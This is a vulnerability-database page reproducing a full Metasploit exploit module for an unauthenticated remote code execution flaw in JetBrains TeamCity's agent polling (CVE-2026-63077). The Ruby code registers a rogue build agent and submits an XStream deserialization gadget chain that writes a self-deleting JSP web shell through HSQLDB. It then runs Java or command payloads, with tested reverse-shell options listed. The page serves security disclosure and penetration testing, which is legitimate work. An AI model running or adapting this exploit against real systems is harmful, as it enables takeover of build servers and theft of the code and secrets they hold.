Lucene search
+L

...[ More ]

🗓️ 28 Aug 2026 00:00:00Reported by Antoni Tremblay, sfewer-r7Type 
packetstorm
 packetstorm
🔗 packetstorm.news👁 6 Views

Unauthenticated RCE in JetBrains TeamCity agent polling via unsafe XStream deserialization.

Related
Code
# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'JetBrains TeamCity Agent Polling Unauthenticated Remote Code Execution',
            'Description' => %q{
              This module exploits an unsafe XStream deserialization vulnerability in the JetBrains TeamCity agent polling
              protocol. An unauthenticated attacker can register a build agent, then submit a crafted error response
              that causes TeamCity to deserialize an attacker-controlled object graph.
    
              The object graph uses FreeMarker and Commons Collections to invoke BasicDataSource.getConnection(). HSQLDB
              initialization statements then write a one-shot JSPWS file to the TeamCity webroot. Requesting the JSPWS file
              executes the payload with the privileges of the TeamCity server process, deletes the JSPWS source file, and
              removes the build agent registered by the module.
    
              This vulnerability was patched in TeamCity version 2025.11.7, and version 2026.1.3.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Antoni Tremblay', # Discovery
              'sfewer-r7' # Analysis, PoC, and Metasploit module
            ],
            'References' => [
              ['CVE', '2026-63077'],
              ['URL', 'https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/'],
              ['URL', 'https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/'],
              ['URL', 'https://github.com/sfewer-r7/CVE-2026-63077/']
            ],
            'DisclosureDate' => '2026-07-27',
            'Privileged' => false, # TeamCity may run as root or SYSTEM, but may also be a lower priv service account.
            # Tested against:
            # * TeamCity 2026.1.2 (build 222647) running on Windows Server 2025
            'Targets' => [
              [
                'Java Server Page',
                # Tested with payloads (on both Windows and Linux):
                # * java/jsp_shell_reverse_tcp
                {
                  'Arch' => ARCH_JAVA,
                  'Platform' => ['win', 'unix', 'linux']
                }
              ],
              [
                'Windows Command',
                # Tested with payloads:
                # * cmd/windows/http/x64/meterpreter_reverse_tcp
                {
                  'Arch' => ARCH_CMD,
                  'Platform' => 'win',
                  'Payload' => {
                    'BadChars' => "\r\n\"\\'"
                  }
                }
              ],
              [
                'Linux Command',
                # Tested with payloads:
                # * cmd/linux/http/x64/meterpreter_reverse_tcp
                # * cmd/unix/reverse_bash
                # * cmd/unix/reverse_netcat
                {
                  'Arch' => ARCH_CMD,
                  'Platform' => ['unix', 'linux'],
                  'Payload' => {
                    'BadChars' => "\r\n\"\\'"
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          Opt::RPORT(8111),
          OptString.new('TARGETURI', [true, 'The base path to TeamCity', '/'])
        ])
    
        register_advanced_options([
          # HSQLDB's SCRIPT statement resolves this path from the TeamCity server process working directory.
          OptString.new('WebRootRelative', [true, 'The TeamCity webroot relative to the server process working directory', '../webapps/ROOT'])
        ])
      end
    
      def check
        # login.html is available without authentication and exposes both the product headers and version string we need.
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'login.html')
        )
    
        return CheckCode::Unknown('Connection failed') unless res
    
        # Either marker is sufficient because both the cluster node header and session cookie are specific to TeamCity.
        teamcity_detected = res.headers.include?('TeamCity-Node-Id') || res.get_cookies.include?('TCSESSIONID')
    
        return CheckCode::Unknown('The target does not appear to be JetBrains TeamCity') unless teamcity_detected
    
        # TeamCity renders versions as YYYY.release[.patch] followed by its numeric build identifier.
        version_match = res.body.match(/(?<version>\d{4}\.\d+(?:\.\d+)?) \(build (?<build>\d+)\)/)
    
        return CheckCode::Detected('JetBrains TeamCity detected, but the version could not be determined') unless version_match
    
        version = Rex::Version.new(version_match[:version])
    
        detected = "JetBrains TeamCity #{version} (build #{version_match[:build]}) detected."
    
        # The 2025.11 and 2026.1 release branches have different first fixed versions. Bound the 2025.11 comparison so a
        # later 2026.1 release is judged against its own fix rather than the numerically lower 2025.11.7 version.
        if version >= Rex::Version.new('2026.1.3') || (version >= Rex::Version.new('2025.11.7') && version < Rex::Version.new('2026.1.0'))
          return CheckCode::Safe(detected)
        end
    
        # NOTE: The security patch plugin for TeamCity 2017.1 and later is not detectable via the HTTP interface, so we
        # cannot reliably determine if the target is patched. We assume that any vulnerable version is exploitable.
        # https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/#mitigation-option-2-apply-the-security-patch-plugin
        CheckCode::Appears(detected)
      end
    
      def exploit
        registration_xml = build_registration_xml
    
        print_status('Registering a TeamCity build agent')
    
        # We first need to register a new agent, so we can retrieve an agent id, required to later reach the unsafe
        # deserialization endpoint.
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'app', 'agents', 'v1', 'register'),
          'ctype' => 'application/xml',
          'data' => registration_xml
        )
    
        fail_with(Failure::Unreachable, 'No response received while registering the build agent') unless res
    
        fail_with(Failure::UnexpectedReply, "Agent registration returned HTTP #{res.code}") unless res.code == 200
    
        # The polling endpoint accepts commands only when they carry the session identifier returned at registration. Its
        # numeric prefix identifies the agent so the JSP payload can later remove the corresponding TeamCity database record.
        agent_session_id = res.headers['TeamCity-AgentSessionId']
    
        vprint_status("Registered new agent with a TeamCity-AgentSessionId: #{agent_session_id}")
    
        fail_with(Failure::UnexpectedReply, 'Agent registration did not return a TeamCity-AgentSessionId header') if agent_session_id.blank?
    
        agent_id = agent_id_from_session(agent_session_id)
    
        print_status('Sending the XStream deserialization payload')
    
        deserialization_payload = build_deserialization_payload(agent_id)
    
        # Trigger the vulnerability and execute a gadget chain via unsafe deserialization in the error endpoint. The
        # gadget chain will write a malicious JSP file to disk (under a .jspws extension). We use this JSP file to execute
        # a Metasploit JSP or CMD payload.
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'app', 'agents', 'v1', 'commands', 'error'),
          'ctype' => 'application/xml',
          'headers' => {
            'TeamCity-AgentSessionId' => agent_session_id,
            # TeamCity expects an agent command identifier; a random value avoids collisions with other polling traffic.
            'TeamCity-AgentCommandId' => rand(100_000..999_999).to_s
          },
          'data' => deserialization_payload[:payload_xml]
        )
    
        fail_with(Failure::Unreachable, 'No response received from the deserialization endpoint') unless res
    
        # We expect an HTTP 500 response after the unsafe deserialization occurs.
        fail_with(Failure::UnexpectedReply, "Deserialization endpoint returned HTTP #{res.code}") unless res.code == 500
    
        print_status("Requesting the JSPWS payload at #{deserialization_payload[:jsp_uri]}")
    
        # Now we can trigger the JSP payload we dropped.
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, deserialization_payload[:jsp_uri])
        )
    
        fail_with(Failure::Unreachable, 'No response received while requesting the JSPWS payload') unless res
    
        # The unique response token is emitted only after payload execution has succeeded.
        unless res.code == 200 && res.body.include?(deserialization_payload[:response_token])
          fail_with(Failure::UnexpectedReply, "The JSPWS payload did not return the expected response token (HTTP #{res.code})")
        end
    
        print_good('The JSPWS payload was executed successfully')
      end
    
      # Extracts the numeric agent identifier from TeamCity's <agent id>:<authorization token> polling-session format. The
      # JSP needs the server-assigned identifier to remove only the agent registered by this exploit attempt.
      def agent_id_from_session(agent_session_id)
        agent_id_match = agent_session_id.match(/\A(?<agent_id>[1-9][0-9]*):.+\z/)
    
        fail_with(Failure::UnexpectedReply, 'Agent registration returned an invalid TeamCity-AgentSessionId header') unless agent_id_match
    
        agent_id_match[:agent_id].to_i
      end
    
      # Builds the minimal agentDetails document needed to obtain an unauthenticated agent session.
      def build_registration_xml
        identifiers = Rex::RandomIdentifier::Generator.new
    
        Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|
          xml.agentDetails(
            'agentName' => identifiers[:agent_name],
            'agentAddress' => '127.0.0.1',
            'agentPort' => rand(1024..65_535).to_s,
            'authToken' => identifiers[:auth_token],
            'pingCode' => ''
          ) do
            xml.alternativeAddresses
            xml.availableRunners
            xml.availableVcs
            xml.buildParameters
            xml.configParameters
          end
        end.to_xml
      end
    
      # Builds the XStream object graph that reaches BasicDataSource#getConnection and returns the XML with the generated
      # JSP URI and response token.
      #
      # For additional details of the object graph and its reference paths, see:
      # https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/
      def build_deserialization_payload(agent_id)
        # Java accepts forward slashes on Windows and Unix. Normalize the path separators and remove trailing separators
        # before appending the generated JSP filename.
        webroot_relative = datastore['WebRootRelative'].tr('\\', '/').sub(%r{/+\z}, '')
    
        # Reject values that cannot represent the intended single filesystem path before placing the value in SQL.
        if webroot_relative.empty? || webroot_relative.match?(/[\x00\r\n]/)
          fail_with(Failure::BadConfig, 'WebRootRelative must identify a directory on a single line')
        end
    
        identifiers = Rex::RandomIdentifier::Generator.new
    
        # TeamCity maps the .jspws extension to its JSP servlet. We cannot execute a .jsp file directly as the
        # TeamCity servlet that handles .jsp will block it, so we target .jspws instead.
        filename = "#{identifiers[:file_id]}.jspws"
    
        # The URI is both embedded in the JSP self-deletion code and returned to #exploit for the trigger request.
        jsp_uri = "/#{filename}"
    
        # Generate the selected ARCH_JAVA or ARCH_CMD JSP, a response token that confirms execution, and agent cleanup.
        jsp, response_token = build_jsp(jsp_uri, agent_id)
    
        # Escape the JSP so we can write it into the SQL (and calculate the VARCHAR length).
        jsp_string_literal = hsqldb_string_literal(jsp)
    
        # HSQLDB resolves this relative filename when the SCRIPT statement writes the database contents into the webroot.
        output_path = "#{webroot_relative}/#{filename}"
    
        # The first two statements store the JSP in a table row. SCRIPT then serializes that row into a SQL/JSP polyglot at
        # the chosen webroot path. The escaped literal length conservatively guarantees the VARCHAR can hold the decoded JSP.
        init_sql = [
          "CREATE TABLE IF NOT EXISTS #{identifiers[:table_name]}(#{identifiers[:column_name]} VARCHAR(#{jsp_string_literal.length}))",
          "INSERT INTO #{identifiers[:table_name]} VALUES (#{jsp_string_literal})",
          "SCRIPT #{hsqldb_string_literal(output_path)}"
        ]
    
        payload_xml = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|
          xml.send('linked-hash-map') do
            # Stage 1 uses an allowed TeamCity Throwable hierarchy to allocate otherwise denied HSQL storage and
            # BasicDataSource objects without introducing another class node that XStream would reject.
            xml.entry do
              xml.string(identifiers[:first_map_entry])
              xml.send('jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException') do
                xml.send('outer-class') do
                  xml.myHSQLStorage do
                    xml.myDataSource do
                      # Recreate the serialized DBCP BasicDataSource state expected by the target version. The in-memory
                      # HSQLDB URL avoids relying on an existing database and connectionInitSqls carries the file-write SQL.
                      xml.defaultTransactionIsolation('-1')
                      xml.cacheState('true')
                      xml.driverClassName('org.hsqldb.jdbc.JDBCDriver')
                      xml.lifo('true')
                      xml.maxTotal('8')
                      xml.maxIdle('8')
                      xml.minIdle('0')
                      xml.initialSize('0')
                      xml.maxWaitMillis('-1')
                      xml.poolPreparedStatements('false')
                      xml.clearStatementPoolOnReturn('false')
                      xml.maxOpenPreparedStatements('-1')
                      xml.testOnCreate('false')
                      xml.testOnBorrow('true')
                      xml.testOnReturn('false')
                      xml.timeBetweenEvictionRunsMillis('-1')
                      xml.numTestsPerEvictionRun('3')
                      xml.minEvictableIdleTimeMillis('1800000')
                      xml.softMinEvictableIdleTimeMillis('-1')
                      xml.evictionPolicyClassName('org.apache.commons.pool2.impl.DefaultEvictionPolicy')
                      xml.testWhileIdle('false')
                      xml.password
                      xml.url("jdbc:hsqldb:mem:#{identifiers[:database_name]}")
                      xml.userName('SA')
                      xml.validationQueryTimeoutSeconds('-1')
                      # DBCP executes these statements when the final gadget requests a new connection.
                      xml.connectionInitSqls do
                        init_sql.each { |statement| xml.string(statement) }
                      end
                      xml.accessToUnderlyingConnectionAllowed('false')
                      xml.maxConnLifetimeMillis('-1')
                      xml.logExpiredConnections('true')
                      xml.autoCommitOnReturn('true')
                      xml.rollbackOnReturn('true')
                      xml.fastFailValidation('false')
                      xml.connectionProperties
                      xml.closed('false')
                    end
                    xml.myStopped('false')
                    xml.myDatabaseOpen('false')
                  end
                end
              end
            end
    
            # Stage 2 reconstructs FreeMarker wrappers and uses reference-only nodes to relocate the existing
            # BasicDataSource into a BooleanModel without causing XStream to perform another denied type check.
            xml.entry do
              xml.string(identifiers[:second_map_entry])
              xml.send('freemarker.ext.beans.HashAdapter') do
                xml.wrapper do
                  xml.sharedIntrospectionLock
                  xml.classIntrospector do
                    xml.exposureLevel('0')
                    xml.exposeFields('false')
                    xml.treatDefaultMethodsAsBeanMembers('false')
                    xml.incompatibleImprovements do
                      xml.major('2')
                      xml.minor('3')
                      xml.micro('0')
                      xml.intValue('2003000')
                      xml.calculatedStringValue('2.3.0')
                      xml.hashCode('0')
                    end
                    xml.hasSharedInstanceRestrictions('false')
                    xml.shared('false')
                    # Reuse the lock object already created in the wrapper to preserve FreeMarker's expected object identity.
                    xml.sharedLock('reference' => '../../sharedIntrospectionLock')
                    xml.cache
                    xml.cacheClassNames
                    xml.classIntrospectionsInProgress
                    xml.modelFactories
                    xml.clearingCounter('0')
                  end
                  xml.falseModel do
                    # Point the model at the Stage 1 BasicDataSource; BeanModel will later expose its connection property.
                    xml.object('reference' => '../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource')
                    # Reuse the enclosing BeansWrapper rather than instantiating a second wrapper with inconsistent state.
                    xml.wrapper('reference' => '../..')
                    xml.value('false')
                  end
                  xml.writeProtected('false')
                  xml.defaultDateType('0')
                  xml.methodsShadowItems('true')
                  xml.simpleMapWrapper('false')
                  xml.strict('false')
                  xml.preferIndexedReadMethod('true')
                  xml.incompatibleImprovements('reference' => '../classIntrospector/incompatibleImprovements')
                end
                # HashAdapter delegates map lookups to this model, which now wraps the BasicDataSource object.
                xml.model('reference' => '../wrapper/falseModel')
              end
            end
    
            # Stage 3 places TiedMapEntry in a HashSet. Recomputing its hash asks HashAdapter for the "connection" key,
            # causing FreeMarker to invoke BasicDataSource#getConnection and execute the HSQLDB initialization statements.
            xml.entry do
              xml.string(identifiers[:third_map_entry])
              xml.set do
                xml.send('org.apache.commons.collections.keyvalue.TiedMapEntry') do
                  # Reference the Stage 2 adapter so deserialization follows the already-approved object graph.
                  xml.send('map', 'class' => 'freemarker.ext.beans.HashAdapter', 'reference' => '../../../../entry[2]/freemarker.ext.beans.HashAdapter')
                  xml.key('connection', 'class' => 'string')
                end
              end
            end
          end
        end.to_xml
    
        # The caller needs the XML to trigger deserialization and the URI/token pair to trigger and confirm code execution.
        { payload_xml: payload_xml, jsp_uri: jsp_uri, response_token: response_token }
      end
    
      # Produces the JSP source appropriate for the selected target. ARCH_JAVA payloads are already complete JSP documents;
      # ARCH_CMD payloads must first be embedded in a Runtime.exec wrapper before receiving the common cleanup trailer.
      def build_jsp(jsp_uri, agent_id)
        jsp_identifiers = Rex::RandomIdentifier::Generator.new(language: :jsp)
    
        if target['Arch'] == ARCH_JAVA
          return build_java_payload_jsp(jsp_identifiers, jsp_uri, agent_id, payload.encoded)
        end
    
        build_native_command_jsp(jsp_identifiers, jsp_uri, agent_id, payload.encoded)
      end
    
      # Wraps an ARCH_CMD payload in a small JSP scriptlet that invokes the target operating system's command interpreter.
      # The wrapper is required because command payloads are shell text rather than directly executable JSP source.
      def build_native_command_jsp(jsp_identifiers, jsp_uri, agent_id, command)
        executable, argument = target['Platform'] == 'win' ? ['cmd.exe', '/c'] : ['/bin/sh', '-c']
    
        jsp_payload = <<~JSP
          <%
              java.lang.String[] #{jsp_identifiers[:command_array]} = new java.lang.String[]{"#{executable}", "#{argument}", "#{command}"};
              java.lang.Runtime.getRuntime().exec(#{jsp_identifiers[:command_array]});
          %>
        JSP
    
        build_java_payload_jsp(jsp_identifiers, jsp_uri, agent_id, jsp_payload)
      end
    
      # Appends the response token printing, self-deletion, and agent cleanup to a JSP payload. The response token is
      # deliberately emitted first, so receiving it confirms payload execution, before anything else is attempted.
      def build_java_payload_jsp(jsp_identifiers, jsp_uri, agent_id, jsp_payload)
        jsp = <<~JSP
          #{jsp_payload}
          <%
            out.print("#{jsp_identifiers[:response_token]}");
    
            java.nio.file.Files.deleteIfExists(java.nio.file.Path.of(application.getRealPath("#{jsp_uri}")));
    
            final org.springframework.web.context.WebApplicationContext #{jsp_identifiers[:spring_context]} =
              jetbrains.buildServer.maintenance.TeamCityDispatcherServlet.SPRING_CONTEXT;
    
            if (#{jsp_identifiers[:spring_context]} != null) {
              final jetbrains.buildServer.serverSide.SecurityContextEx #{jsp_identifiers[:security_context]} =
                (jetbrains.buildServer.serverSide.SecurityContextEx) #{jsp_identifiers[:spring_context]}.getBean("securityContext");
    
              final jetbrains.buildServer.serverSide.BuildAgentManagerEx #{jsp_identifiers[:agent_manager]} =
                (jetbrains.buildServer.serverSide.BuildAgentManagerEx) #{jsp_identifiers[:spring_context]}.getBean("agentManager");
    
              #{jsp_identifiers[:security_context]}.runAsSystemUnchecked(
                new jetbrains.buildServer.serverSide.SecurityContextEx.RunAsAction() {
                  public void run() throws java.lang.Throwable {
                    #{jsp_identifiers[:agent_manager]}.unregisterAgent(#{agent_id}, "");
    
                    jetbrains.buildServer.serverSide.BuildAgentEx #{jsp_identifiers[:agent]} =
                      #{jsp_identifiers[:agent_manager]}.findAgentById(#{agent_id}, true);
    
                    if (#{jsp_identifiers[:agent]} != null) {
                      #{jsp_identifiers[:agent_manager]}.removeAgent(#{jsp_identifiers[:agent]}, null);
                    }
                  }
                }
              );
            }
          %>
        JSP
    
        [
          # The HSQLDB SCRIPT output writes each table row on one physical line. Compact the JSP so the SQL/JSP polyglot
          # remains a single valid JSP after the database serializes it.
          jsp.lines.map(&:strip).reject(&:empty?).join(' '),
          jsp_identifiers[:response_token]
        ]
      end
    
      # Quotes an arbitrary value as an HSQLDB string literal. SQL represents an embedded single quote by doubling it, so
      # this helper is required before JSP source or filesystem paths are placed into initialization statements.
      def hsqldb_string_literal(value)
        "'#{value.gsub("'", "''")}'"
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Aug 2026 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.19.8
EPSS0.84733
SSVC
6